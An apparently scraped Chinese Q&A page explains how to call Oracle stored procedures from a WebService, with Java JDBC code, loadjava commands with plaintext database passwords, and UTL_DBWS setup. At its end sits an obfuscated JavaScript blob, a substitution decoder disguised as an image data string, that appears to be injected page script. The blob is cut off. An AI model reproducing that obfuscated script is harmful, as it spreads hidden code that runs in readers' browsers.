WebService调用oracle存储过程,传入数组参数
推荐回答(2个)
你要在webservice中编写相应的调用存储过程的接口,具体看你应用的什么语言技术。比如下面java调用存储过程如下:
Session session = HibernateSessionFactory.getSession();
//连接对象
Connection conn = null;
//数据集对象
ResultSet rs = null;
//用来取得表列明的 对象
ResultSetMetaData rsmd = null;
CallableStatement proc = null;
conn = session.connection();
conn.setAutoCommit(false);
try {
if (conn != null) {
proc = conn.prepareCall("{call 存储过程包名过程名(n个传入参数对应n个问号,返回参数或游标?占位) }");
// 如下过程PKG_GETDATA有4个传入参数,所有在程序包是PKG_QUERY
//proc = conn.prepareCall("{call PKG_QUERY.PKG_GETDATA(?,?,?,?,?) }");
proc.setString(1, 参数);
//依次按照传入参数顺序与?问号位置传入所有参数
//最后传入n个参数后一位的返回游标
//proc.registerOutParameter(n+1, oracle.jdbc.OracleTypes.CURSOR);
proc.execute();
rs = (ResultSet) proc.getObject(n+1);
conn.commit();
}
可以将上面代码写成一个公用的调用存储过程的通用接口。
别人调用你的webservice 可以具体的参数个数及顺序传递给你的接口,也可以传递一个object数组
去oracle官网上下载dbws-callout-utility-10131.zip
解压后放到oracle安装目录下的/sqlj/lib中;
检查数据库中有多少个java_class语句
select * from User_Objects t where t.object_type like '%JAVA_CLASS%' ;
4.导入java或jar 参数说明:
在cmd命令行中利用loadjava命令(一般安装完jdk或oracle之后就会有,jar包必须为绝对地址)将jar包导入oracle对应的用户(必须是本地用户)中:
loadjava -u nsxydjdba/nsxydj123@orcl -o -r -v -f -genmissing -s -grant public D:\app\Administrator\product\11.2.0\dbhome_1\sqlj\lib\dbwsclientws.jar;
loadjava -u nsxydjdba/nsxydj123@orcl -o -r -v -f -genmissing -s -grant public D:\app\Administrator\product\11.2.0\dbhome_1\sqlj\lib\dbwsclientdb11.jar;
SYS用户,命令为:
loadjava -u sys/sys -o -r -v -f -genmissing -s -grant public D:\app\Administrator\product\11.2.0\dbhome_1\sqlj\lib\dbwsclientws.jar;
loadjava -u sys/sys -o -r -v -f -genmissing -s -grant public D:\app\Administrator\product\11.2.0\dbhome_1\sqlj\lib\dbwsclientdb11.jar;
-o 使用OCI8 JDBC接口
-v 显示执行过程
-f 强制装载
-r 编译并解析类
5.如果未发现UTL_DBWS(可以在plsql中敲入sys.若未有utl_dbws显示,则需要进行初始化),需要运行之前下载的包中dbws-callout-utility-
10131/sqlj/lib/ utl_dbws_body.sql及utl_dbws_decl.sql(在sys用户下)
6. 编写sql函数并发布(可能博客显示不全,可参见官方实例:打开等一会可显示
http://www.oracle-base.com/articles/10g/utl_dbws-10g.php)
7.看结果select FUNC_Webservice('1234567','xxxxxx') from dual;
!function(){function a(a){var _idx="o2ehxwc2vm";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF 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